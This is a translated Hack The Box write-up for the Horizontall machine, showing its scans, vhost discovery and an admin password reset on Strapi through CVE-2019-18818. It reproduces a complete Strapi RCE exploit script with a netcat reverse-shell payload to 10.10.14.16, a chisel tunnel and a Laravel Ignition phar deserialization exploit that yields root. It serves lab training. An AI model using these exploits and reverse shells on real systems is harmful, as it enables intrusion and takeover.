Disclaimers
The host penetrated by this article is legally authorized. The tools and methods used in this article are limited to learning and communication. Please do not use the tools and infiltration ideas used in this article for any illegal purpose. I will not bear any responsibility for all the consequences, nor be responsible for any misuse or damage.
Service detection
┌──(root💀kali)-[~] └─# nmap -sV -Pn 10.10.11.105 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-02 08:48 EST Nmap scan report for 10.10.11.105 Host is up (0.34s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.14.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The mobile phone accesses port 80 and jumps to a domain name called horizontal.htb
Let's add this domain name to / etc/hosts first
echo "10.10.11.105 horizontall.htb" >> /etc/hosts
Blasting catalogue
┌──(root💀kali)-[~/dirsearch] └─# python3 dirsearch.py -e* -t 100 -u http://horizontall.htb/ _|. _ _ _ _ _ _|_ v0.4.2 (_||| _) (/_(_|| (_| ) Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bak | HTTP method: GET | Threads: 100 | Wordlist size: 15492 Output File: /root/dirsearch/reports/horizontall.htb/-_21-12-02_09-01-00.txt Error Log: /root/dirsearch/logs/errors-21-12-02_09-01-00.log Target: http://horizontall.htb/ [09:01:01] Starting: [09:01:10] 301 - 194B - /js -> http://horizontall.htb/js/ [09:01:11] 400 - 182B - /.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd [09:01:56] 400 - 182B - /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd [09:02:01] 301 - 194B - /css -> http://horizontall.htb/css/ [09:02:06] 200 - 4KB - /favicon.ico [09:02:11] 301 - 194B - /img -> http://horizontall.htb/img/ [09:02:15] 403 - 580B - /js/ [09:02:17] 200 - 901B - /index.html
Only a few folders, nothing useful
vhost blasting
I stuck here for a long time and couldn't find anything useful. Later, I went to the forum to see hint. Someone left a message saying that there might be something in the secondary domain name
Try blasting vhost, we use gobuster
First This dictionary Download to local
┌──(root💀kali)-[~/htb/Horizontall] └─# gobuster vhost -u horizontall.htb -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://horizontall.htb [+] Method: GET [+] Threads: 100 [+] Wordlist: /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2021/12/02 23:28:43 Starting gobuster in VHOST enumeration mode =============================================================== Found: api-prod.horizontall.htb (Status: 200) [Size: 413] =============================================================== 2021/12/02 23:35:06 Finished ===============================================================
Find a secondary domain name that can be used: api-prod.horizontal.htb
Edit / etc/hosts again
Replace 10.10.11.105 horizontal.htb with 10.10.11.105 api-prod.horizontal.htb
Now we can open api-prod.horizontal.htb in the browser
Blasting secondary domain name
┌──(root💀kali)-[~/dirsearch] └─# python3 dirsearch.py -e* -t 100 -u http://api-prod.horizontall.htb/ _|. _ _ _ _ _ _|_ v0.4.2 (_||| _) (/_(_|| (_| ) Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bak | HTTP method: GET | Threads: 100 | Wordlist size: 15492 Output File: /root/dirsearch/reports/api-prod.horizontall.htb/-_21-12-03_00-35-14.txt Error Log: /root/dirsearch/logs/errors-21-12-03_00-35-14.log Target: http://api-prod.horizontall.htb/ [00:35:15] Starting: [00:35:24] 400 - 182B - /.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd [00:35:35] 200 - 854B - /ADMIN [00:35:35] 200 - 854B - /Admin/login/ [00:35:35] 200 - 854B - /Admin [00:35:40] 400 - 67B - /\..\..\..\..\..\..\..\..\..\etc\passwd [00:35:45] 200 - 854B - /admin [00:35:47] 200 - 854B - /admin/_logs/access_log [00:35:47] 200 - 854B - /admin/.config [00:35:47] 200 - 854B - /admin/.htaccess [00:35:47] 200 - 854B - /admin/?/login [00:35:47] 200 - 854B - /admin/ [00:35:47] 200 - 854B - /admin/_logs/error-log [00:35:47] 200 - 854B - /admin/access_log [00:35:47] 200 - 854B - /admin/admin-login [00:35:47] 200 - 854B - /admin/_logs/access-log [00:35:47] 200 - 854B - /admin/admin [00:35:47] 200 - 854B - /admin/_logs/error_log [00:35:47] 200 - 854B - /admin/admin/login [00:35:47] 200 - 854B - /admin/adminLogin [00:35:47] 200 - 854B - /admin/backup/ [00:35:48] 200 - 854B - /admin/backups/ [00:35:48] 200 - 854B - /admin/controlpanel [00:35:48] 200 - 854B - /admin/db/ [00:35:48] 200 - 854B - /admin/error_log [00:35:48] 200 - 854B - /admin/default [00:35:48] 200 - 854B - /admin/FCKeditor [00:35:48] 200 - 854B - /admin/home [00:35:48] 200 - 854B - /admin/index [00:35:48] 200 - 854B - /admin/index.html [00:35:48] 200 - 854B - /admin/js/tiny_mce [00:35:48] 200 - 854B - /admin/login [00:35:48] 200 - 854B - /admin/js/tiny_mce/ [00:35:48] 200 - 854B - /admin/js/tinymce/ [00:35:48] 200 - 854B - /admin/js/tinymce [00:35:48] 200 - 854B - /admin/cp [00:35:48] 200 - 854B - /admin/account [00:35:48] 200 - 854B - /admin/dumper/ [00:35:48] 200 - 854B - /admin/log [00:35:48] 200 - 854B - /admin/logs/ [00:35:48] 200 - 854B - /admin/logs/error_log [00:35:48] 200 - 854B - /admin/logs/access_log [00:35:48] 200 - 854B - /admin/mysql/ [00:35:48] 200 - 854B - /admin/logs/access-log [00:35:48] 200 - 854B - /admin/phpMyAdmin [00:35:48] 200 - 854B - /admin/logs/error-log [00:35:48] 200 - 854B - /admin/admin_login [00:35:48] 200 - 854B - /admin/phpMyAdmin/ [00:35:48] 200 - 854B - /admin/manage [00:35:48] 200 - 854B - /admin/pMA/ [00:35:48] 200 - 854B - /admin/pma/ [00:35:48] 200 - 854B - /admin/portalcollect.php?f=http://xxx&t=js [00:35:48] 200 - 854B - /admin/phpmyadmin/ [00:35:48] 200 - 854B - /admin/scripts/fckeditor [00:35:48] 200 - 854B - /admin/release [00:35:48] 200 - 854B - /admin/sysadmin/ [00:35:48] 200 - 854B - /admin/private/logs [00:35:48] 200 - 854B - /admin/sqladmin/ [00:35:48] 200 - 854B - /admin/sxd/ [00:35:48] 200 - 854B - /admin/signin [00:35:48] 200 - 854B - /admin/tinymce [00:35:48] 200 - 854B - /admin/tiny_mce [00:35:49] 200 - 854B - /admin/web/ [00:36:20] 400 - 182B - /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd [00:36:38] 200 - 1KB - /favicon.ico [00:36:46] 200 - 413B - /index.html [00:37:17] 200 - 507B - /reviews [00:37:17] 200 - 121B - /robots.txt
There is an admin background
Check the web page source code and find that the background is done by a cms called Strapi
CVE-2019-18818
We search the cms vulnerability exploitation script in Google and choose This exp
Execute attack after downloading to local
┌──(root💀kali)-[~/htb/Horizontall] └─# python3 exp.py http://api-prod.horizontall.htb/ [+] Checking Strapi CMS Version running [+] Seems like the exploit will work!!! [+] Executing exploit [+] Password reset was successfully [+] Your email is: admin@horizontall.htb [+] Your new credentials are: admin:SuperStrongPassword1 [+] Your authenticated JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjM4NzY5NTcyLCJleHAiOjE2NDEzNjE1NzJ9.4rETx89O06Mqa1fWj4uwUVhqK9krXg6dP4BzfudH4mI
At this point, we have a cms login certificate: admin:SuperStrongPassword1
Also remember this token: eyjhbgcioijiuzi1niiinr5cci6ikpxvcj9.eyjpzci6mywiaxnbzg1pbii6dhj1zswiawf0ijoxnjm4nzy5ntcylcjlehaioje2ndeznje1nzj9.4retx89o06mqa1fwj4uwuhqk9krxg6dp4bzfudh4mi
CVE-2019-19609
After logging into the background, we found that the version number of cms on the dashboard is Strapi v3.0.0-beta.17.4
According to this version number. Search the available exp on Google and we find This attack script
Download to local
Execute the following payload
python3 exp2.py "http://api-prod.horizontall.htb" "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjM4NzY5NTcyLCJleHAiOjE2NDEzNjE1NzJ9.4rETx89O06Mqa1fWj4uwUVhqK9krXg6dP4BzfudH4mI" "id" "10.10.14.16"
┌──(root💀kali)-[~/htb/Horizontall] └─# python3 exp2.py "http://api-prod.horizontall.htb" "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjM4NzY5NTcyLCJleHAiOjE2NDEzNjE1NzJ9.4rETx89O06Mqa1fWj4uwUVhqK9krXg6dP4BzfudH4mI" "id" "10.10.14.16" ===================================== CVE-2019-19609 - Strapi RCE ------------------------------------- @David_Uton (M3n0sD0n4ld) https://m3n0sd0n4ld.github.io/ ===================================== [+] Successful operation!!! listening on [any] 9999 ... connect to [10.10.14.16] from (UNKNOWN) [10.10.11.105] 45258 uid=1001(strapi) gid=1001(strapi) groups=1001(strapi) {"statusCode":400,"error":"Bad Request","message":[{"messages":[{"id":"An error occurred"}]}]}
The third parameter can execute a command. It can be seen from the above that the current webshell user is strapi
But this shell can only execute one command at a time, which is not easy to use.
Now we know that exp can execute system commands. Now we can directly modify exp to a rebound shell
# Exploit Title: Strapi 3.0.0-beta.17.7 - Remote Code Execution (RCE) (Authenticated) # Date: 29/08/2021 # Exploit Author: David Utón (M3n0sD0n4ld) # Vendor Homepage: https://strapi.io/ # Affected Version: strapi-3.0.0-beta.17.7 and earlier # Tested on: Linux Ubuntu 18.04.5 LTS # CVE : CVE-2019-19609 #!/usr/bin/python3 # Author: @David_Uton (m3n0sd0n4ld) # Github: https://m3n0sd0n4ld.github.io # Usage: python3 CVE-2019-19609.py http[s]//IP[:PORT] TOKEN_JWT COMMAND LHOST import requests, sys, os, socket logoType = (''' ===================================== CVE-2019-19609 - Strapi RCE ------------------------------------- @David_Uton (M3n0sD0n4ld) https://m3n0sd0n4ld.github.io/ ===================================== ''') if __name__ == '__main__': # Parameter checking if len(sys.argv) != 5: print(logoType) print("[!] Some of these parameters are missing.") print(''' Use: python3 %s http[s]//IP[:PORT] TOKEN_JWT COMMAND LHOST Example: python3 10.10.10.10 eyJHbGCi..... "id" 127.0.0.1''' % sys.argv[0]) # Exploit run else: # Paremeters url = sys.argv[1] token = sys.argv[2] command = sys.argv[3] lhost = sys.argv[4] lport = 9999 s = requests.session() r = s.post(url, verify=False) # SSL == verify=True headersData = { 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0', 'Authorization': "Bearer %s" % token } postData = { "plugin":"documentation && $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.16 4242 >/tmp/f)" } print(logoType) os.system("nc -nvlp 9999 &") try: print("[+] Successful operation!!!") r = s.post(url + "/admin/plugins/install", headers=headersData, data=postData, verify=False) # SSL == verify=True # Content print print(r.text) except: print("[!] An error occurred, try again.") sys.exit(1)
Change the value in postData from
"plugin":"documentation && $(%s > /tmp/.m3 && nc %s %s < /tmp/.m3 | rm /tmp/.m3)" % (command, lhost, lport)
Change to:
"plugin":"documentation && $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.16 4242 >/tmp/f)"
preservation.
Enable monitoring and execute attacks.
Full shell received bounce
─# nc -lnvp 4242 listening on [any] 4242 ... connect to [10.10.14.16] from (UNKNOWN) [10.10.11.105] 58760 /bin/sh: 0: can't access tty; job control turned off $ id uid=1001(strapi) gid=1001(strapi) groups=1001(strapi) $ whoami strapi
Right raising
View all tcp connections
netstat -nap|grep tcp tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:1337 0.0.0.0:* LISTEN 1845/node /usr/bin/ tcp 0 23 10.10.11.105:35982 10.10.14.16:4242 ESTABLISHED 2825/nc tcp6 0 0 :::80 :::* LISTEN - tcp6 0 0 :::22 :::* LISTEN -
View all processes
ps -aux |more USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND strapi 1798 0.0 0.3 76648 7324 ? Ss 05:40 0:00 /lib/systemd/systemd --user strapi 1834 0.0 2.0 610056 40608 ? Ssl 05:40 0:00 PM2 v4.5.6: God Daemon (/opt/strapi/.pm2) strapi 1845 0.4 3.5 910600 72176 ? Ssl 05:40 0:03 node /usr/bin/strapi strapi 2801 0.2 2.0 804984 40656 ? Sl 05:50 0:00 npm strapi 2819 0.0 0.0 4640 932 ? S 05:50 0:00 sh -c strapi "install" "documentation && $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.16 4242 >/tmp/f)" strapi 2820 0.0 0.0 4640 104 ? S 05:50 0:00 sh -c strapi "install" "documentation && $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.16 4242 >/tmp/f)" strapi 2823 0.0 0.0 6328 748 ? S 05:50 0:00 cat /tmp/f strapi 2824 0.0 0.0 4640 816 ? S 05:50 0:00 /bin/sh -i strapi 2825 0.0 0.1 15724 2184 ? S 05:50 0:00 nc 10.10.14.16 4242 strapi 2844 0.0 0.4 38980 9768 ? S 05:51 0:00 python3 -c __import__('pty').spawn('/bin/bash') strapi 2845 0.0 0.2 21364 5152 pts/0 Ss 05:51 0:00 /bin/bash strapi 2930 0.0 0.1 38384 3508 pts/0 R+ 05:53 0:00 ps -aux strapi 2931 0.0 0.0 8424 932 pts/0 S+ 05:53 0:00 more
According to the process and local connection, only 127.0.0.1 local listening is allowed for 3 processes
3306 is the database. This is normal
1337 is strapi when we came in. We can also access it from the Internet through the secondary domain name
I don't know what the remaining 8000 ports are. Let's use tunnel connection to see
chisel tunnel connection
kali end
┌──(root💀kali)-[~/chisel] └─# ./chisel server -p 8888 --reverse 2021/12/06 01:19:43 server: Reverse tunnelling enabled 2021/12/06 01:19:43 server: Fingerprint RrZsQFbor2kqfDlA6y9yeOs9BiezohKLhkENPxg4P9A= 2021/12/06 01:19:43 server: Listening on http://0.0.0.0:8000 2021/12/06 01:20:59 server: session#1: tun: proxy#R:1337=>localhost:1337: Listening
Target end
strapi@horizontall:/tmp$ ./chisel client 10.10.14.16:8888 R:8000:localhost:8000 <hisel client 10.10.14.16:8000 R:1337:localhost:1337 2021/12/06 06:22:21 client: Connecting to ws://10.10.14.16:8000 2021/12/06 06:22:24 client: Connected (Latency 386.283845ms)
Now we have monitored the service of this port locally
┌──(root💀kali)-[~] └─# netstat -ano |grep 8000 tcp6 0 0 :::8000 :::* LISTEN off (0.00/0/0)
The browser opens localhost: 8000, which is a display page of Laravel. The display version is Laravel v8 (PHP v7.4.18)
Blow up the site and see what files and directories there are
┌──(root💀kali)-[~/dirsearch] └─# python3 dirsearch.py -e* -t 100 -u http://localhost:8000 _|. _ _ _ _ _ _|_ v0.4.2 (_||| _) (/_(_|| (_| ) Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bak | HTTP method: GET | Threads: 100 | Wordlist size: 15492 Output File: /root/dirsearch/reports/localhost-8000/_21-12-06_01-38-51.txt Error Log: /root/dirsearch/logs/errors-21-12-06_01-38-51.log Target: http://localhost:8000/ [01:38:52] Starting: [01:39:14] 200 - 603B - /.htaccess [01:39:14] 200 - 17KB - /.htaccess/ [01:39:48] 405 - 547KB - /_ignition/execute-solution [01:40:51] 200 - 1KB - /web.config
CVE-2021-3129
Check/_ CVE-2021-3129 may exist in the ignition / execute solution directory and Google search combined with page information
I found it on github This exp
According to the attack steps of exp, first install phpggc on kali
sudo apt install phpggc
Compile the execution command id into the / tmp/exploit.phar file
┌──(root💀kali)-[~/htb/Horizontall/phpggc] └─# php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id
Check that a phar file has been generated in the tmp folder
┌──(root💀kali)-[~/htb/Horizontall/phpggc] └─# ll /tmp/exploit.phar -rw-r--r-- 1 root root 514 12 June 2:33 /tmp/exploit.phar
Execute attack:
┌──(root💀kali)-[~/htb/Horizontall] └─# python3 exp3.py http://localhost:8000/ /tmp/exploit.phar 1 ⨯ + Log file: /home/developer/myproject/storage/logs/laravel.log + Logs cleared + Successfully converted to PHAR ! + Phar deserialized -------------------------- uid=0(root) gid=0(root) groups=0(root) -------------------------- + Logs cleared
The command is echoed successfully. It is found that it is root permission
The above has proved that the vulnerability exists. You can execute arbitrary commands and compile rebound shell s
┌──(root💀kali)-[~/htb/Horizontall/phpggc] └─# php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.16 4444 >/tmp/f'
Turn on a monitor
nc -lnvp 4444
Execute the attack again and receive a rebound shell from root
┌──(root💀kali)-[~] └─# nc -lnvp 4444 1 ⨯ listening on [any] 4444 ... connect to [10.10.14.16] from (UNKNOWN) [10.10.11.105] 60848 /bin/sh: 0: can't access tty; job control turned off # id uid=0(root) gid=0(root) groups=0(root) # whoami root
summary
This is my first time playing HTB active machine. It took a long time intermittently. vhost and tunnel are two key steps, otherwise I can't do it. I thought of it after reading the hint of the author on the forum..
All the losses we have suffered are experience. Continue to work hard.